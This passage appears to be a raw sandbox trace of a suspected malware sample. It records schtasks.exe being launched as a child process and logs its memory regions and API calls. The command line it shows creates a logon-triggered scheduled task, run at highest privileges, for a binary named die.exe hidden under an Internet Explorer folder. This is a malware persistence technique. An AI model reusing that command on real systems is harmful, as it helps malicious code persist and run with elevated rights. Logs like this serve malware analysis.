| out: hHeap=0x390000) returned 1 [0076.848] exit (_Code=0) Thread: id = 160 os_tid = 0xc6c Process: id = "40" image_name = "schtasks.exe" filename = "c:\\windows\\system32\\schtasks.exe" page_root = "0x3cc7e000" os_pid = "0xc84" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0xa54" cmd_line = "schtasks.exe /create /tn \"die\" /sc ONLOGON /tr \"'C:\\Program Files (x86)\\Internet Explorer\\SIGNUP\\die.exe'\" /rl HIGHEST /f" cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f1fb" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3463 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3464 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 3465 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 3466 start_va = 0x200000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 3467 start_va = 0x77be0000 end_va = 0x77d88fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3468 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3469 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3470 start_va = 0xff9d0000 end_va = 0xffa17fff monitored = 1 entry_point = 0xff9f966c region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3471 start_va = 0x7fefff00000 end_va = 0x7fefff00fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3472 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 3473 start_va = 0x7fffffdc000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 3474 start_va = 0x7fffffde000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 3475 start_va = 0x280000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 3476 start_va = 0x779c0000 end_va = 0x77adefff monitored = 0 entry_point = 0x779d5340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3477 start_va = 0x7fefddf0000 end_va = 0x7fefde5bfff monitored = 0 entry_point = 0x7fefddf2780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3478 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3479 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3480 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3481 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3482 start_va = 0x7feffd90000 end_va = 0x7feffe2efff monitored = 0 entry_point = 0x7feffd925a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3483 start_va = 0x77ae0000 end_va = 0x77bd9fff monitored = 0 entry_point = 0x77afa2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3484 start_va = 0x7feff680000 end_va = 0x7feff6e6fff monitored = 0 entry_point = 0x7feff68b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3485 start_va = 0x7feff6f0000 end_va = 0x7feff6fdfff monitored = 0 entry_point = 0x7feff6f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 3486 start_va = 0x7feff4d0000 end_va = 0x7feff598fff monitored = 0 entry_point = 0x7feff54a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 3487 start_va = 0x7feff810000 end_va = 0x7feffa12fff monitored = 0 entry_point = 0x7feff833330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3488 start_va = 0x7fefdf20000 end_va = 0x7fefe04cfff monitored = 0 entry_point = 0x7fefdf6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3489 start_va = 0x7feff5a0000 end_va = 0x7feff676fff monitored = 0 entry_point = 0x7feff5a3274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3490 start_va = 0x7feffa20000 end_va = 0x7feffa90fff monitored = 0 entry_point = 0x7feffa31e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 3491 start_va = 0x7fefb0b0000 end_va = 0x7fefb0b9fff monitored = 0 entry_point = 0x7fefb0b260c region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 3492 start_va = 0x4a0000 end_va = 0x5fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 3493 start_va = 0xc0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 3494 start_va = 0x1c0000 end_va = 0x1e8fff monitored = 0 entry_point = 0x1c1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3495 start_va = 0x600000 end_va = 0x787fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000600000" filename = "" Region: id = 3496 start_va = 0x1c0000 end_va = 0x1e8fff monitored = 0 entry_point = 0x1c1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3497 start_va = 0x7feffaa0000 end_va = 0x7feffacdfff monitored = 0 entry_point = 0x7feffaa1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3498 start_va = 0x7feff700000 end_va = 0x7feff808fff monitored = 0 entry_point = 0x7feff701064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 3499 start_va = 0x790000 end_va = 0x910fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000790000" filename = "" Region: id = 3500 start_va = 0x920000 end_va = 0x1d1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000920000" filename = "" Region: id = 3501 start_va = 0x1c0000 end_va = 0x1d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3528 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3529 start_va = 0x1e0000 end_va = 0x1e0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 3530 start_va = 0x7fefccf0000 end_va = 0x7fefccfbfff monitored = 0 entry_point = 0x7fefccf1064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 3531 start_va = 0x1d20000 end_va = 0x1feefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3532 start_va = 0x280000 end_va = 0x2fcfff monitored = 0 entry_point = 0x28cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3533 start_va = 0x3a0000 end_va = 0x49ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003a0000" filename = "" Region: id = 3534 start_va = 0x280000 end_va = 0x2fcfff monitored = 0 entry_point = 0x28cec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3535 start_va = 0x7fefda20000 end_va = 0x7fefda2efff monitored = 0 entry_point = 0x7fefda21010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3536 start_va = 0x7fefc480000 end_va = 0x7fefc4d5fff monitored = 0 entry_point = 0x7fefc48bbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3537 start_va = 0x1ff0000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ff0000" filename = "" Region: id = 3538 start_va = 0x280000 end_va = 0x35efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 3539 start_va = 0x7fefdf00000 end_va = 0x7fefdf1efff monitored = 0 entry_point = 0x7fefdf060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3540 start_va = 0x2020000 end_va = 0x209ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002020000" filename = "" Region: id = 3541 start_va = 0x2190000 end_va = 0x220ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002190000" filename = "" Region: id = 3542 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 3543 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 3544 start_va = 0x1f0000 end_va = 0x1f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001f0000" filename = "" Region: id = 3545 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3546 start_va = 0x360000 end_va = 0x360fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000360000" filename = "" Region: id = 3547 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3548 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3551 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 161 os_tid = 0xc90 [0077.209] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x27fd20 | out: lpSystemTimeAsFileTime=0x27fd20*(dwLowDateTime=0x56fc6240, dwHighDateTime=0x1d9eb0c)) [0077.210] GetCurrentProcessId () returned 0xc84 [0077.210] GetCurrentThreadId () returned 0xc90 [0077.210] GetTickCount () returned 0x1768bf1 [0077.210] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x27fd28 | out: lpPerformanceCount=0x27fd28*=2488369301919) returned 1 [0077.210] GetModuleHandleW (lpModuleName=0x0) returned 0xff9d0000 [0077.210] __set_app_type (_Type=0x1) [0077.210] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff9f972c) returned 0x0 [0077.210] __wgetmainargs (in: _Argc=0xffa11240, _Argv=0xffa11250, _Env=0xffa11248, _DoWildCard=0, _StartInfo=0xffa1125c | out: _Argc=0xffa11240, _Argv=0xffa11250, _Env=0xffa11248) returned 0 [0077.211] _onexit (_Func=0xffa02ab0) returned 0xffa02ab0 [0077.211] _onexit (_Func=0xffa02ac4) returned 0xffa02ac4 [0077.211] _onexit (_Func=0xffa02afc) returned 0xffa02afc [0077.212] _onexit (_Func=0xffa02b58) returned 0xffa02b58 [0077.212] _onexit (_Func=0xffa02b80) returned 0xffa02b80 [0077.212] _onexit (_Func=0xffa02ba8) returned 0xffa02ba8 [0077.212] _onexit (_Func=0xffa02bd0) returned 0xffa02bd0 [0077.212] _onexit (_Func=0xffa02bf8) returned 0xffa02bf8 [0077.212] _onexit (_Func=0xffa02c20) returned 0xffa02c20 [0077.213] _onexit (_Func=0xffa02c48) returned 0xffa02c48 [0077.213] _onexit (_Func=0xffa02c70) returned 0xffa02c70 [0077.213] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0077.213] WinSqmIsOptedIn () returned 0x0 [0077.213] GetProcessHeap () returned 0x3a0000 [0077.213] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x18) returned 0x3b5550 [0077.213] SetLastError (dwErrCode=0x0) [0077.214] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0077.214] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0077.214] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0077.214] VerifyVersionInfoW (in: lpVersionInformation=0x27f4e0, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x27f4e0) returned 1 [0077.214] GetProcessHeap () returned 0x3a0000 [0077.214] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x18) returned 0x3bbb10 [0077.214] lstrlenW (lpString="") returned 0 [0077.214] GetProcessHeap () returned 0x3a0000 [0077.214] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x2) returned 0x3bbb30 [0077.214] GetProcessHeap () returned 0x3a0000 [0077.214] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3b5a40 [0077.214] GetProcessHeap () returned 0x3a0000 [0077.214] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x18) returned 0x3bbb50 [0077.214] GetProcessHeap () returned 0x3a0000 [0077.214] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3b5a70 [0077.214] GetProcessHeap () returned 0x3a0000 [0077.214] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3b5aa0 [0077.214] GetProcessHeap () returned 0x3a0000 [0077.214] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3b5ad0 [0077.214] GetProcessHeap () returned 0x3a0000 [0077.214] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3b5b00 [0077.215] GetProcessHeap () returned 0x3a0000 [0077.215] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x18) returned 0x3bbb70 [0077.215] GetProcessHeap () returned 0x3a0000 [0077.215] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3b5b30 [0077.215] GetProcessHeap () returned 0x3a0000 [0077.215] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3b5b60 [0077.215] GetProcessHeap () returned 0x3a0000 [0077.215] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3b5b90 [0077.215] GetProcessHeap () returned 0x3a0000 [0077.215] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3b5bc0 [0077.215] GetProcessHeap () returned 0x3a0000 [0077.215] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x18) returned 0x3bbb90 [0077.215] GetProcessHeap () returned 0x3a0000 [0077.215] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3b5bf0 [0077.215] GetProcessHeap () returned 0x3a0000 [0077.215] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3b5c20 [0077.215] GetProcessHeap () returned 0x3a0000 [0077.215] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3b5c50 [0077.215] GetProcessHeap () returned 0x3a0000 [0077.215] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3b5c80 [0077.215] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0077.215] SetLastError (dwErrCode=0x0) [0077.215] GetProcessHeap () returned 0x3a0000 [0077.215] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3b5cb0 [0077.215] GetProcessHeap () returned 0x3a0000 [0077.215] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3b5ce0 [0077.216] GetProcessHeap () returned 0x3a0000 [0077.216] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3b5d10 [0077.216] GetProcessHeap () returned 0x3a0000 [0077.216] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3b5d40 [0077.216] GetProcessHeap () returned 0x3a0000 [0077.216] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3b5d70 [0077.216] GetProcessHeap () returned 0x3a0000 [0077.216] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x18) returned 0x3bbbb0 [0077.216] _memicmp (_Buf1=0x3bbbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.216] GetProcessHeap () returned 0x3a0000 [0077.216] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x208) returned 0x3bbd50 [0077.216] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x3bbd50, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0077.216] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0077.219] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0077.219] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0077.220] GetProcessHeap () returned 0x3a0000 [0077.220] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x74e) returned 0x3bc320 [0077.220] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0077.220] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x3bc320 | out: lpData=0x3bc320) returned 1 [0077.220] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0077.220] VerQueryValueW (in: pBlock=0x3bc320, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x27f5c8, puLen=0x27f630 | out: lplpBuffer=0x27f5c8*=0x3bc6bc, puLen=0x27f630) returned 1 [0077.223] _memicmp (_Buf1=0x3bbbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.223] _vsnwprintf (in: _Buffer=0x3bbd50, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x27f5a8 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0077.223] VerQueryValueW (in: pBlock=0x3bc320, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x27f638, puLen=0x27f628 | out: lplpBuffer=0x27f638*=0x3bc4e8, puLen=0x27f628) returned 1 [0077.223] lstrlenW (lpString="schtasks.exe") returned 12 [0077.223] lstrlenW (lpString="schtasks.exe") returned 12 [0077.223] lstrlenW (lpString=".EXE") returned 4 [0077.223] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0077.224] lstrlenW (lpString="schtasks.exe") returned 12 [0077.224] lstrlenW (lpString=".EXE") returned 4 [0077.224] _memicmp (_Buf1=0x3bbbb0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.224] lstrlenW (lpString="schtasks") returned 8 [0077.224] GetProcessHeap () returned 0x3a0000 [0077.224] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3b5e60 [0077.224] GetProcessHeap () returned 0x3a0000 [0077.224] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3bcc30 [0077.225] GetProcessHeap () returned 0x3a0000 [0077.225] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3bcc60 [0077.225] GetProcessHeap () returned 0x3a0000 [0077.225] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3bcc90 [0077.225] GetProcessHeap () returned 0x3a0000 [0077.225] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x18) returned 0x3bbbd0 [0077.225] _memicmp (_Buf1=0x3bbbd0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.225] GetProcessHeap () returned 0x3a0000 [0077.225] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0xa0) returned 0x3bc150 [0077.225] GetProcessHeap () returned 0x3a0000 [0077.225] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3bccc0 [0077.225] GetProcessHeap () returned 0x3a0000 [0077.225] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3bccf0 [0077.225] GetProcessHeap () returned 0x3a0000 [0077.225] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x20) returned 0x3bcd20 [0077.225] GetProcessHeap () returned 0x3a0000 [0077.225] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x18) returned 0x3bbbf0 [0077.225] _memicmp (_Buf1=0x3bbbf0, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.225] GetProcessHeap () returned 0x3a0000 [0077.225] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x200) returned 0x3bd400 [0077.225] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x3bd400, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0077.226] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0077.226] GetProcessHeap () returned 0x3a0000 [0077.226] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x30) returned 0x3b7bd0 [0077.226] _vsnwprintf (in: _Buffer=0x3bc150, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x27f5a8 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0077.226] GetProcessHeap () returned 0x3a0000 [0077.226] GetProcessHeap () returned 0x3a0000 [0077.226] HeapValidate (hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc320) returned 1 [0077.226] GetProcessHeap () returned 0x3a0000 [0077.226] RtlSizeHeap (HeapHandle=0x3a0000, Flags=0x0, MemoryPointer=0x3bc320) returned 0x74e [0077.227] HeapFree (in: hHeap=0x3a0000, dwFlags=0x0, lpMem=0x3bc320 | out: hHeap=0x3a0000) returned 1 [0077.227] SetLastError (dwErrCode=0x0) [0077.227] GetThreadLocale () returned 0x409 [0077.227] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.227] lstrlenW (lpString="?") returned 1 [0077.227] GetThreadLocale () returned 0x409 [0077.227] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.227] lstrlenW (lpString="create") returned 6 [0077.227] GetThreadLocale () returned 0x409 [0077.227] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.227] lstrlenW (lpString="delete") returned 6 [0077.227] GetThreadLocale () returned 0x409 [0077.228] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.228] lstrlenW (lpString="query") returned 5 [0077.228] GetThreadLocale () returned 0x409 [0077.228] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.228] lstrlenW (lpString="change") returned 6 [0077.228] GetThreadLocale () returned 0x409 [0077.228] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.228] lstrlenW (lpString="run") returned 3 [0077.228] GetThreadLocale () returned 0x409 [0077.228] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.228] lstrlenW (lpString="end") returned 3 [0077.228] GetThreadLocale () returned 0x409 [0077.228] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.228] lstrlenW (lpString="showsid") returned 7 [0077.228] GetThreadLocale () returned 0x409 [0077.228] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0077.228] SetLastError (dwErrCode=0x0) [0077.228] SetLastError (dwErrCode=0x0) [0077.228] lstrlenW (lpString="/create") returned 7 [0077.228] lstrlenW (lpString="-/") returned 2 [0077.228] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0077.228] lstrlenW (lpString="?") returned 1 [0077.228] lstrlenW (lpString="?") returned 1 [0077.228] GetProcessHeap () returned 0x3a0000 [0077.229] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0x18) returned 0x3bc200 [0077.229] _memicmp (_Buf1=0x3bc200, _Buf2=0xff9d1b08, _Size=0x7) returned 0 [0077.229] GetProcessHeap () returned 0x3a0000 [0077.229] RtlAllocateHeap (HeapHandle=0x3a0000, Flags=0xc, Size=0xa) returned 0x3bc320 [0077.229] lstrlenW (lpString="create") returned 6 [0077.229] 